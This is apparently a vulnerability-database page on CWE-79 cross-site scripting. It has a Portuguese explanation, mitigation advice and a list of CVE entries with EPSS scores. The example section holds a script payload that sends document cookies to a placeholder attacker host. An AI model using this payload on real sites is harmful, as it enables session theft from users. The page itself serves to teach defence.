Fallos del tipo CWE-79

29.907 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-75713MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2026-75687MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2024-33598MEDIUMWordPress Annual Archive plugin <= 1.6.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-75715MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2026-75675MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2024-43211MEDIUMWordPress MailChimp Subscribe Form plugin <=4.0.9.9 - Stored Cross-Site Scripting vulnerabilityEPSS 0.4%CVE-2024-30448MEDIUMWordPress Slider by Supsystic plugin <= 1.8.10 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-75696MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2026-75639MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2026-75666MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2025-26536HIGHWordPress Another Events Calendar Plugin <= 1.7.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-75651MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2026-54158CRITICALSiYuan: Stored XSS to RCE via attribute-view cell rendering in genAVValueHTML()EPSS 0.4%CVE-2026-75660MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2026-4803HIGHRoyal Addons for Elementor <= 1.7.1056 - Unauthenticated Stored Cross-Site Scripting via 'status' Parameter in wpr_update_form_action_metaEPSS 0.4%CVE-2024-30434MEDIUMWordPress WP-CRM System plugin <= 3.2.9 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-75636MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2026-75714MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2024-45793MEDIUMCross-site Scripting from in Confidant API callEPSS 0.4%CVE-2025-7144MEDIUMSourceCodester Best Salon Management System Admin Profile Page admin-profile.php cross site scriptingEPSS 0.4%